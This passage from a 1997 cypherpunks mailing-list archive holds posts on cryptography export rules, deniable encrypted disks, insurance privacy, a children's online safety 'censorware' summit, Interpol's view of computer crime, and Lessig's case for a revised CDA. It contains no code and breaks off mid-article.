William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNF3c7I9Co1n+aLhhAQGtrQP/UoYnM5FpOfu2ytg5K3jGpz2i5t7x/K1+
MGSvPIMaPkrwkfRjFz3rTg8fRrUy0d4eG1s41DhNJIJ4EJZU3r2pHGTPJkjtr4Hr
7io3DDVjYyr5h+ssHED2xHMLySi2h5ZSQuraZm5/qWeDDjCxgWPxzEaD53ui+SSz
PrcexIJWb/E=
=fK4Z
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 4 Nov 1997 01:14:45 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Washington Times: "FCC wants to extend V chip to computers"
In-Reply-To: <v03007800b0836554aece@[204.254.21.242]>
Message-ID: <v03102800b083a50bf033@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:34 AM -0700 11/3/97, Declan McCullagh wrote:
>Front page:
>
>"Not content to monitor the progrom on your television set, the FCC now

Progrom?

This could mean either "program" or "pogrom."

Or both. So "progrom" is apt. Declan has coined a neologism.


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 4 Nov 1997 06:17:50 +0800
To: cypherpunks@cyberpass.net
Subject: Charityware
In-Reply-To: <199711031141.DAA01497@sirius.infonex.com>
Message-ID: <v03102801b083a67344ca@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain





My advice to Monty Cantsin or whomever actually wrote this: write shorter
pieces! The quote-and-coment style, especially for very long pieces,
usually results in people skipping huge sections, or the whole thing. I
only scanned this and stopped when I saw the word "cryptoanarchist."

At 4:41 AM -0700 11/3/97, Mix wrote:
(quoting someone else)

>>New payment models will need to come in.  How can you extract money
>>from a cryptoanarchist?  Copyright?  Patent?  Hah, hah.
>
>The important thing is establishment of the custom.  Most
>cryptoanarchists with class will pay.  The way to do this is to make
>it clear from day one that it is not free software.  If you want to
>run it, you should buy it.  (The problem with share ware is that people
>get used to "borrowing" it.)

_This_ cryptoanarchist will almost _never_ pay for that which is free.

If someone gives me something, no strings attached, and then says, "Oh, the
"suggested donation" is $10," I tell them that they should have charged me
that in the first place. (I'm obviously not fond of leftie events which are
advertised as free, but which require a mandatory voluntary "suggested
donation.")

More to the point, I use various freebies I get off the Net. Some of them
have obscure schemes for sending payments to the alleged authors. Too much
hassle. And if it's _free_, why pay anything?

Charityware is not a viable business model.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 4 Nov 1997 06:12:36 +0800
To: cypherpunks@cyberpass.net
Subject: Export a random number, go to jail
In-Reply-To: <199711031002.CAA26848@sirius.infonex.com>
Message-ID: <v03102802b083a8fedddf@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:46 AM -0700 11/3/97, Peter D. Junger wrote:

>: One time pads are under rated, in my view.  Not only are they secure
>: forever, but the executive branch of the U.S. government says they are
>: exportable.
>
>If your basis for saying that the U.S. government says that one time
>pads are exportable was the governments classification of a one time
>that I wrote in DOS assembly language using XOR to munge together the
>contents of two files, I don't think that you can rely on that
>authority since, at the same time, the government refused to rule that
>all one time pads using XOR are not subject to licensing under the
>EAR.


"Export a random number, go to jail."


--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Mon, 3 Nov 1997 18:04:53 +0800
To: cypherpunks@cyberpass.net
Subject: A Legal Strategy
Message-ID: <d055dda10a1a6e5d60cbd7a5914bcac6@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Let's say you are James Joyce and you are writing "Ulysses" on your
nice little Linux machine.  Because you fear persecution, you use
encrypted virtual disks.

Because you are clever, you have ten such disks.  One contains your
drafts of "Ulysses", four contain harmless information, and five
contain noise.

The jack booted thugs kick down your door and drag you to jail.  The
Judge orders you to produce the pass phrases of all the disks or be
penalized for contempt of court.

Now, you are in an interesting situation.  You can't give the
passwords for half of the disks, but you are unable to prove this.
This means you have nothing to gain by giving the pass phrase to the
"Ulysses" disk - you will always be seen as holding out.  Even if you
convince the Judge that some of the disks are noise, you have no
reason not to include the "Ulysses" disk in this set.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNF1945aWtjSmRH/5AQGEMQf/Rv6ZMLV/Jw9lnKa2p9QjDd3L3oukDfL7
X/WEA4MpNJ80AHLfL9yro58iElJe8hSN0Ld6T56Cusw32numtO10du553ACTzeWP
6ktMokhKfsHFbmzbGu2U/ajlymEU3CwcD8sBkEJlCJ6J1E57jTaPpaxn6dPjak9p
EmSQD3LoI9C/soacZOJPbNoMu2WA9Xb+tQ+RDfwU2jkZnqjdjLt0WKz2GpiMA3EY
fQ2p69U0nKICyS/r7l8hM5aVMihxuexY7w1BNCKVSKIjGO+K0Niqz/APj782hKfy
3O1LHOmxcqVtxOTIZ9c1P8mSYpN/E4My8vcen9bp8a5GBzkIeVdQTQ==
=RpFf
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Mon, 3 Nov 1997 17:48:38 +0800
To: cypherpunks@cyberpass.net
Subject: SynCrypt: the new PGP?
Message-ID: <199711030925.KAA17872@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anybody heard of syncrypt?  www.syncrypt.com

It is like pgp but has lots of cool features.  File wiping, group
encryption, automatic encryption of files put in certain directories.

Get this, hiding encrypted files in pictures!  Automatically.  It pulls
them back out again too.

Plus it has an interesting "20 questions" method for backing up your
passphrase.  If you forget your passphrase you have to answer 25 of 27
questions like "who was your favorite teacher" to get it back.

Bruce Schneier is working with them, so they should have good crypto.
It has blowfish, des and triple des, and idea.  The keys are el gamal.

Problem is the freeware is crippled to 10 encryptions (unlimited
decryptions).  $50 for full functions.

Is this the new pgp?  No gak or even cak in sight.

SynMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 4 Nov 1997 02:37:56 +0800
To: "John Kelsey" <cypherpunks@Algebra.COM>
Subject: Re: Protocols for Insurance to Maintain Privacy
In-Reply-To: <199711031657.KAA08353@email.plnet.net>
Message-ID: <v03102803b083b7b75331@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:02 AM -0700 11/3/97, John Kelsey wrote:

>One problem with this is that, if it becomes widespread,
>nobody will ever buy insurance for these diseases unless
>they have it or probably will get it.  This kind-of defeats

Such insurance is now common. A boat owner doesn't buy insurance for
iceberg collisions if he is never in arctic waters, a small plane pilot
doesn't buy cargo insurance if he doesn't ferry cargo, and so on.


>the point of having insurance, which is to protect yourself
>from low probability high cost things happening.  That is,

I have a different view of what insurance is than John does.

What insurance is, and how it is priced, is too long a topic to get into
here. Suffice it to say that the insurance company makes its profits by
charging more for coverage than it pays out. And the customer, of course,
tends to lose the differential.

Each side tries to get as much information as possible. If Joe Client knows
he never pilots a cargo plane, he doesn't opt for cargo insurance. If Joe
Client knows he never engages in unprotected sex with diseasy prostitutes,
etc., he skips HIV insurance. The fact that some "low probability events,"
like meteor strikes, are uncovered is part of the price of keeping Joe's
premiums tolerable.

>before I've taken the test for genetic disease X, my best
>estimate of the probability that I will test positive is
>very low.  Once I have taken it, I know the result.  If I
>sign up for a-la-carte insurance for this disease, the
>insurance company effectively knows I must have tested
>positive for a predisposition to it, and so either won't
>give me insurance, or will give me insurance only at an
>extremely high rate (corresponding to a 1/10 chance of
>getting the disease, rather than a 1/1,000,000 chance).

This is the idea. It causes those with the predilections to the disease to
pay the high coverage costs.

The alternative is not pretty: banning private testing (how?) and forcing
insurance companies to cover all applicants for all conditions at a fixed
rate.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 4 Nov 1997 03:28:32 +0800
To: cypherpunks@toad.com
Subject: More on Censorware Summit, from Communications Daily
Message-ID: <Pine.GSO.3.95.971103105516.12437G-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------

Communications Daily
November 3, 1997, Monday

ONLINE SUMMIT ON KIDS' ISSUES SET FOR DEC.


   Broad-based effort by industry, consumer and advocacy groups to come up with
means to protect children who use Internet and online services will begin to
announce its solutions at summit meeting Dec. 1-3 in Washington. Summit, which
could involve as many as 300 participants, is result of meeting at White House
in July following Supreme Court decision to strike down key parts of
Communications Decency Act (CDA). At meeting, industry promised to find ways to
protect children.

   While original focus was on protecting children from pornography, plan is
being drawn up to include examination of other issues with children online such
as privacy and marketing. Longer term project could take another 6 months or as
long as year, said Christine Varney, ex-FTC member now in private practice who
is chmn. of summit. She was heavily involved with online issues during her
tenure at FTC.

   Varney said there will be other events next year, tentatively set for Feb.,
April, May and June, although structure for those hasn't been set. Idea was to
concentrate first on children's safety issues for Dec. meeting, she said in
interview. Dec. conference in Washington will announce tools and
recommendations
that industry and interest groups have come up with in safety area, Varney
said,
and there will be "concrete action at each stage" of process on issues to be
considered.

   Those recommendations aren't yet final, but could include some types of
rating system. Varney rejected notion that there are First Amendment concerns
involved, saying project "is not at all about censorship." Biggest danger, she
said, is that there could be single rating system -- it's not censorship if
there are many rating systems. Daniel Weitzner, deputy dir. of Center for
Democracy & Technology (CDT), one of groups that challenged CDA, agreed, saying
that key difference is between govt.'s taking role of censor and parents'
deciding what can be seen by children. He, too, said he was worried about
proposals for "some kind of mandatory labeling, which would be clearly
unconstitutional." Because of technical limitations, TV can accommodate
only one
system, Weitzner said, but computers are much more flexible. He added: "I know
of no interpretation of the First Amendment which says individuals, private
citizens, can't control what they read."

   There is some disagreement, however. David Banisar of Electronic Privacy
Information Center (EPIC) called meeting "censorware summit." He said it's
"attempting to undo what the Supreme Court did when it struck down the
CDA," and
"this is something that should be avoided because it's worse than the disease."
Banisar agreed no First Amendment restraint is involved, but more basic
principles of free speech can be violated by filtering tools and software that
could be used on national level.  That possibility, he said, is "equally as
dangerous as the CDA." Banisar said he's working with "a coalition of free
speech groups on alternatives" to summit. He said private industry and group
effort is more dangerous than legislation because "at least with legislation
there are certain rights under the First Amendment that can be applied."

   One of Varney's challenges in heading project is to bring together
groups who
spent years fighting each other over CDA and to determine whether there
could be
some areas of agreement. So far, she said, process has been working very well.
In addition to goal of coming up with recommendations on substance of issues is
goal of "creating partnerships where they didn't exist before," process
that she
said was particularly important because it's taking place as new medium
develops. She acknowledged that there must be concerted effort to maintain
focus
on children in deliberations while persuading former opponents to "check their
differences at the door" on CDA and other issues. Donna Hughes, communications
dir. for Enough Is Enough, anti-child porn group, said she was pleased that
summit has adopted much of her group's agenda. She said she was "pleased to be
at the table, to work very closely with many people who we had debated for 3
years." One benefit of summit, she said, is to "get to know each other. That's
always constructive." Hughes said she doesn't view online summit process as
refighting of CDA issues, saying result of CDA debate was to focus public
attention on dangers to children. Varney agreed, saying that "great beauty" of
process is that "folks so divided on the CDA" are agreed on children's' issues.

   But Banisar takes different view. He said his group was part of anti-CDA
coalition that had view different from CDT. Now, he said, CDT is taking "a very
industry viewpoint on this." Commitment of America Online (AOL), another CDA
defendant and major sponsor of online summit, to free speech "has been premised
that it doesn't want to be held liable for what its people said. It doesn't
mind
when it's censoring."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Kelsey" <kelsey@plnet.net>
Date: Tue, 4 Nov 1997 01:07:21 +0800
To: "cypherpunks" <cypherpunks@Algebra.COM>
Subject: Protocols for Insurance to Maintain Privacy
Message-ID: <199711031657.KAA08353@email.plnet.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

[ To: Cypherpunks ## Date: 11/01/97 ##
  Subject: Protocols for Insurance to Maintain Privacy ]

>Date: Wed, 29 Oct 1997 09:24:39 -0700
>From: Tim May <tcmay@got.net>
>Subject: Protocols for Insurance to Maintain Privacy

>There are interesting protocols which can be used to skirt
>statist laws about insurance. A la carte insurance, for
>specific illnesses, is one of the best examples. Thus, a
>heterosexual male who doesn't use IV needles can "opt out"
>of coverage for AIDS-related treatments, thus transferring
>the effective cost to those most worthy.

I can see practical problems with this (like finding out
that the fine print on page 248 of my insurance contract
turns out not to cover dog bites that occur on Thursdays),
but it's really just letting customers buy only what they
want.

>This has similarities to crypto protocols. And anonymity. To
>wit, it is possible to arrange anonymous blood tests for
>various conditions. So, Alice arranges a distributed set of
>such tests, perhaps at multiple labs. When she finds she has
>no preconditions or precursors for Diseases A, B, C, and D,
>she opts out of being covered for these diseases.

One problem with this is that, if it becomes widespread,
nobody will ever buy insurance for these diseases unless
they have it or probably will get it.  This kind-of defeats
the point of having insurance, which is to protect yourself
from low probability high cost things happening.  That is,
before I've taken the test for genetic disease X, my best
estimate of the probability that I will test positive is
very low.  Once I have taken it, I know the result.  If I
sign up for a-la-carte insurance for this disease, the
insurance company effectively knows I must have tested
positive for a predisposition to it, and so either won't
give me insurance, or will give me insurance only at an
extremely high rate (corresponding to a 1/10 chance of
getting the disease, rather than a 1/1,000,000 chance).

On the other hand, information isn't free--I have to spend
some money for each of the hundreds of genetic tests
available.  There may be a profitable business in providing
a battery of genetic tests for a large up-front fee, in a
sort-of inverse-lottery scheme--if you get unlucky enough to
have one or more of these disease precursors, we pay your
insurance costs, or at least give you a big bundle of money
to spend as you will.  This is subject to various kinds of
abuse (if you know you're predisposed to get some disease,
you have a strong incentive to enter the ``lottery''), but
it still might work.

>--Tim May

   --John Kelsey, Counterpane Systems, kelsey@counterpane.com
 PGP 2.6 fingerprint = 4FE2 F421 100F BB0A 03D1 FE06 A435 7E36

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBNF1ZdEHx57Ag8goBAQFZsQQA7NGzgc39WbyB8eACZN71wrBwOdapExNn
fvn1aEFeHoLWZnHIcLHwzSuCiJ22I9kGK8Co88fDfjDebb+kzHj9oO4xpfMecHLr
pjvKWfEDOnv5th6hxCmzKrA6OpuMqYgtvX9USRuO1oLckjX4mTc6jvEp6ZBD96vB
uWvXhj1bPUM=
=Vc/C
-----END PGP SIGNATURE-----


   --John Kelsey, Counterpane Systems, kelsey@counterpane.com
 PGP 2.6 fingerprint = 4FE2 F421 100F BB0A 03D1 FE06 A435 7E36





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 4 Nov 1997 22:59:19 +0800
To: cypherpunks@cyberpass.net
Subject: Interpol on Computer Crime / Cryptography
Message-ID: <v03110705b083a86866c2@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


To: Digital Commerce Society of Boston <dcsb@ai.mit.edu>
From: oldbear@arctos.com (The Old Bear)
Subject: Interpol on Computer Crime / Cryptography
Date: Sun, 2 Nov 1997 14:50:39 -0500
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: oldbear@arctos.com (The Old Bear)
Status: U

--- Forwarded message follows ---

Date: Fri, 31 Oct 1997 05:09:25 +-5-30
From: Rishab Aiyer Ghosh <rishab@dxm.org>
Subject: Interpol on Computer Crime
Telecom-Digest: Volume 17, Issue 299
Lines: 135

In the context of FBI Director Louis Freeh's statements on computer crime,
here's the Interpol take.
                                             -rishab

   [from American Reporter, the Internet's only daily newspaper,
   www.american-reporter.com]

EXCLUSIVE: INTERPOL'S TOP INTERNET CRIMEFIGHTER SPEAKS OUT

 Rishab Aiyer Ghosh
 American Reporter Correspondent
 New Delhi, India

 NEW DELHI -- The impact of the Internet on crime-fighting may not be
as great as some hope, Interpol's top expert on networked computer
crimes has told the American Reporter. Hiroaki Takizawa says
old-fashioned methods of seeking evidence and gathering information
may remain the staple of crimefighters for a long time to come.

Takizawa talked to the American Reporter at the 66th annual General
Assembly of the worldwide crime-fighting organization Interpol
<http://www.interpol-pr.com> in New Delhi last week, where one of the
key topics of the conference was the impact of the Internet on global
crime and enforcement.

In an interview, the top Interpol expert on Internet and computer
crimes, Hiroaki Takizawa, said despite the serious problems being
posed by the Internet to police everywhere, traditional, off-line
evidence gathering and investigation will remain the primary tools of
law enforcement.

Takizawa admitted that strong cryptography and anonymous email make
illicit transactions difficult to monitor or trace through the
Internet. Interpol, he said, is concerned at the spread of
cryptography, but does not advocate legislation banning it.

"What we concentrate on is the implementation of legislation, rather
than legislation itself," said Takizawa, when asked if he favored a
crypto ban. "Police need human and financial resources" to investigate
crime using the Internet, feels Takizawa, more than unenforceable
legislative bans.

Do police make use of intercepted messages much, on a global scale?
"Yes, I think so, yeah," said Takizawa. However, "we don't, we haven't
had many cases" that relied on undecipherable messages as evidence.

"I don't think the Interpol plays an important role so far as
[legislation on] cryptography is concerned," says Takizawa. The
Interpol cannot make binding treaties affecting national law -- "it is
not really a policy developing organization," he said.

Instead, it makes resolutions "from the police point of view" -- and
its members then go home to lobby with their governments. It does not
intend to make any resolutions on cryptography, though. Instead
"[Interpol] will focus on training and coordination" so that police
forces around the world "can develop practical solutions." As for
changing the law, "the OECD<http://www.oecd.org> has started
discussion" on cryptography -- and has come to the conclusion
<http://www.oecd.org/dsti/iccp/crypto_e.html> that crypto bans are not
a good approach.

Interpol finds that an increasing amount of its work involves the Net
or computers in one way or another, and has set up a team to figure
out where police -- and the Interpol -- can have an effective
role. Interpol divides digital crime into three areas: computer crime,
which includes piracy, data-theft and time-theft (computer break-ins);
computer-related crime, which is mainly bank fraud -- "what was a
crime earlier with paper, but is now done with a computer," as
Takizawa says, and pornography.

The third, most recent area that "everyone's talking about now,"
Takizawa said, is what Interpol calls "network crime": the use of the
Internet for transactions that are already illegal -- child
pornography -- or aid illegal activity -- often involving the drug
trade, customs evasion and money laundering.

Takizawa finds that of these network crimes, child pornography and the
use of the Internet as an accessory to child sex abuse -- on-line
advertisements for Asian "sex tours" targeted at Westerners, for
example -- is the easiest to tackle. Stopping the distribution of
pornography itself is harder, though, thanks to the Internet --
"normally [pornography] was checked at the airport and confiscated by
customs, now you just download it by computer" -- so Interpol doesn't
even try, he says.

"Interception [is] impossible," said Takizawa bluntly.

Instead, Interpol uses the easily searched structure of the Net to
trace material back to its off-line origins. Police aided by
Interpol's global network locate brochures for sex tourism on the Net
much more easily than if they were in print, and follow up with
off-line investigations and arrests, he said.

The cross-jurisdictional nature of the Net -- and the fact that
countries disagree on precisely what activities are criminal -- is
less of a problem for child pornography than money-laundering.
Takizawa describes a recent case involving Germany and Japan: "from
Germany we received information [on child pornography found online]
pointing to Japan. Through Interpol we [passed] it on to Japan," where
authorities traced the originators and made arrests.

And what about money laundering? Doesn't the prospect of untraceable,
anonymous global electronic commerce on the Internet scare Interpol?

"Well, my counter-question is, have there been so many cases of
 ... [monetary] transactions using [the] Internet?" asks Takizawa.

Perhaps not -- yet. But once you have some form of the digital
currency required for any large-scale electronic commerce, what will
Interpol do about money laundering?

"We don't know," he admits. When cyberpayments are common, Takizawa
adds, "we cannot tell you what's going to happen. Everybody wants to
know that. If you can predict it perhaps you [will] get the Nobel
prize!"

For an organization sometimes represented as a global police force --
which Interpol is not -- being a coordinating body for 178 national
law enforcement agencies worldwide -- Takizawa's depiction of its
Internet policy is surprisingly tame. His view well may stem from a
basic understanding of the nature of crime, which doesn't occur on the
Internet so much as pass through it. However much criminals use the
Net, says Takizawa, police will always "need more evidence outside the
network."

                      ----------------

Rishab Aiyer Ghosh <rishab@dxm.org> is Editor of the New Delhi-based
Indian Techonomist, a popular technology journal.



For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Tue, 4 Nov 1997 02:51:35 +0800
To: John Young <jya@pipeline.com>
Subject: Re: What Will Revolution Look Like?
In-Reply-To: <1.5.4.32.19971031102712.00c3d2dc@pop.pipeline.com>
Message-ID: <Pine.LNX.3.95.971103111759.18286B-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Fri, 31 Oct 1997, John Young wrote:

> Preindicators to revolution and anti-revolution in US:
> 
> World's highest disparity between poor and rich population.
> 
> World's highest military expenditures.
> 
> World's highest justice expenditures.
> 
> World's largest percentage of population in prison.
> 
> World's largets percentage of population in law enforcement.
> 

This reminded me of a wonderful quote from Mr. Jefferson:

"To preserve [the] independence [of the people,] we must not let our
rulers load us with perpetual debt. We must make our election between
economy and liberty, or profusion and servitude. If we run into such debts
as that we must be taxed in our meat and in our drink, in our necessaries
and our comforts, in our labors and our amusements, for our callings and
our creeds, as the people of England are, our people, like them, must come
to labor sixteen hours in the twenty-four, give the earnings of fifteen of
these to the government for their debts and daily expenses, and the
sixteenth being insufficient to afford us bread, we must live, as they now
do, on oatmeal and potatoes, have no time to think, no means of calling
the mismanagers to account, but be glad to obtain subsistence by hiring
ourselves to rivet their chains on the necks of our fellow-sufferers."

--Thomas Jefferson to Samuel Kercheval, 1816. 

(-: was he describing England or the US?  ;-)

jim






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Tue, 4 Nov 1997 00:51:54 +0800
To: Cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: One Time Pads (Real Ones!)
In-Reply-To: <199711031002.CAA26848@sirius.infonex.com>
Message-ID: <199711031646.LAA02843@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain



Mix writes:

: -----BEGIN PGP SIGNED MESSAGE-----
: 
: One time pads are under rated, in my view.  Not only are they secure
: forever, but the executive branch of the U.S. government says they are
: exportable.

If your basis for saying that the U.S. government says that one time
pads are exportable was the governments classification of a one time
that I wrote in DOS assembly language using XOR to munge together the
contents of two files, I don't think that you can rely on that
authority since, at the same time, the government refused to rule that
all one time pads using XOR are not subject to licensing under the
EAR.

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Callas <jon@pgp.com>
Date: Tue, 4 Nov 1997 04:10:50 +0800
To: Adam Back <whgiii@invweb.net
Subject: Re: RSA Blows Smoke
In-Reply-To: <199711021240.HAA30685@users.invweb.net>
Message-ID: <3.0.3.32.19971103115159.0894a320@mail.pgp.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:53 PM 11/2/97 GMT, Adam Back wrote:
   
   Unfortunately PGP Inc have closed off dialogue on the topic --
   apparent blanket ban on employee discussion of CMR.
   
Horsefeathers, Adam. We've been talking about this with you a lot and you
know it. We set up a mailing list to discuss it, you've received personal
phone calls, and lots of people have bent over backwards for you.

If you think you're being ignored, perhaps you should re-examine the
signal-to-noise ratio of your posts.

	Jon



-----
Jon Callas                                  jon@pgp.com
Chief Scientist                             555 Twin Dolphin Drive
Pretty Good Privacy, Inc.                   Suite 570
(415) 596-1960                              Redwood Shores, CA 94065
Fingerprints: D1EC 3C51 FCB1 67F8 4345 4A04 7DF9 C2E6 F129 27A9 (DSS)
              665B 797F 37D1 C240 53AC 6D87 3A60 4628           (RSA)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Mon, 3 Nov 1997 20:22:59 +0800
To: cypherpunks@Algebra.COM
Subject: Re: SynCrypt: the new PGP?
In-Reply-To: <199711030925.KAA17872@basement.replay.com>
Message-ID: <slrn65rg8t.mv.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* Anonymous wrote:
>Is this the new pgp?  No gak or even cak in sight.

No source no security.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Mon, 3 Nov 1997 20:26:54 +0800
To: cypherpunks@Algebra.COM
Subject: Re: GAK for PGP 2.6.2
In-Reply-To: <199710301935.UAA16086@basement.replay.com>
Message-ID: <slrn65rgf4.mv.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* Anonymous wrote:
>Here's a patch to PGP 2.6.2 to force it to encrypt all messages to the
>FBI key.

Once again. Implement it into at least 60% existing implementation spread
out. Then come back.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 4 Nov 1997 02:24:45 +0800
To: cypherpunks@toad.com
Subject: Larry Lessig: a new CDA better than censorware?
Message-ID: <v03007805b083bdb0607e@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



***********

Date:         Mon, 3 Nov 1997 11:11:56 -0500
From: Mike Godwin <mnemonic@WELL.COM>
Subject:      Law Professor calls for new CDA
To: NETLY-L@pathfinder.com

(I have been saying for some time that Professor Lessig, despite how he
characterizes himself, is no friend of freedom of speech. But here's where
the other shoe has dropped.)

 From the online edition of the New York Times:

 October 30, 1997

 By CARL S. KAPLAN

 Is a Better CDA Preferable To Opaque Censorship?

 he Communications Decency Act is dead, and most free speech advocates say,
 "good riddance." If there must be a solution to the problem of kids and
 cyber-pornography, let a thousand software-blocking packages bloom in
 homes, libraries and schools.

 Professor Lawrence Lessig of Harvard Law School is having none of this,
 however. In a recent controversial draft essay on the regulation of
 cyberspace, Lessig, a respected cyberlaw scholar, argues that if government
 must embrace a solution to indecent speech, a revamped CDA-like plan would
 be far more protective of traditional free speech values than the dangerous
 filtering products that many civil libertarians seem to love, or at least
 to prefer.

 "My sense is that this first major victory [in Reno v. ACLU]  has set us
 in a direction that we will later regret," Lessig writes, referring to the
 Supreme Court opinion striking down the CDA on First Amendment grounds.
 "It has pushed the problem of kids and porn towards a solution that will
 (from the perspective of the interest in free speech) be much worse. The
 (filtering products) touted by free speech activists in Reno are, in my
 view, far more restrictive of free speech interests than a properly
 crafted CDA."

 Lessig is not the first free speech advocate to damn filtering software.
 But he goes further than most in his nostalgia for a revised CDA. He also
 knows that his conclusions may invite some fury.

 "Promoting a CDA-like solution to the problemb of indecency is very much
 to step out of line," he writes. "I am not advocating a CDA-like solution
 because I believe there is any real problem. In my view, it would be best
 just to let things alone. But if Congress is not likely to let things
 alone, or at least if the President is more likely to bully a private
 solution then we need to think through the consequences of these different
 solutions. . . . We may well prefer that nothing be done. But if something
 is to be done, then whether through public or private regulation, we need
 to think about its consequences for free speech."

 Lessig's article, titled "What Things Regulate Speech," is a trove of
 ideas and legal scholarship on the permissible scope of government
 regulation of indecency, the evils of filtering and the nature of law in
 cyberspace, where restrictions on speech, for example, are apt to be
 enacted not by federal or state statues, but by minimally debated software
 codes. Happily, the article is written in plain English, not law school
 professor-ese. Many of the author's ideas have been expressed in earlier
 articles, law review essays and speeches.

 Boiled down and simplified, the main points of Lessig's CDA argument run
 like this:

 First, he argues that government has the power to place or "zone" hard-core
 pornography out of the reach of kids, so long as the means chosen is the
 least restrictive form of discrimination that existing technology permits.

 For example, Lessig notes that a California law making it a crime to sell
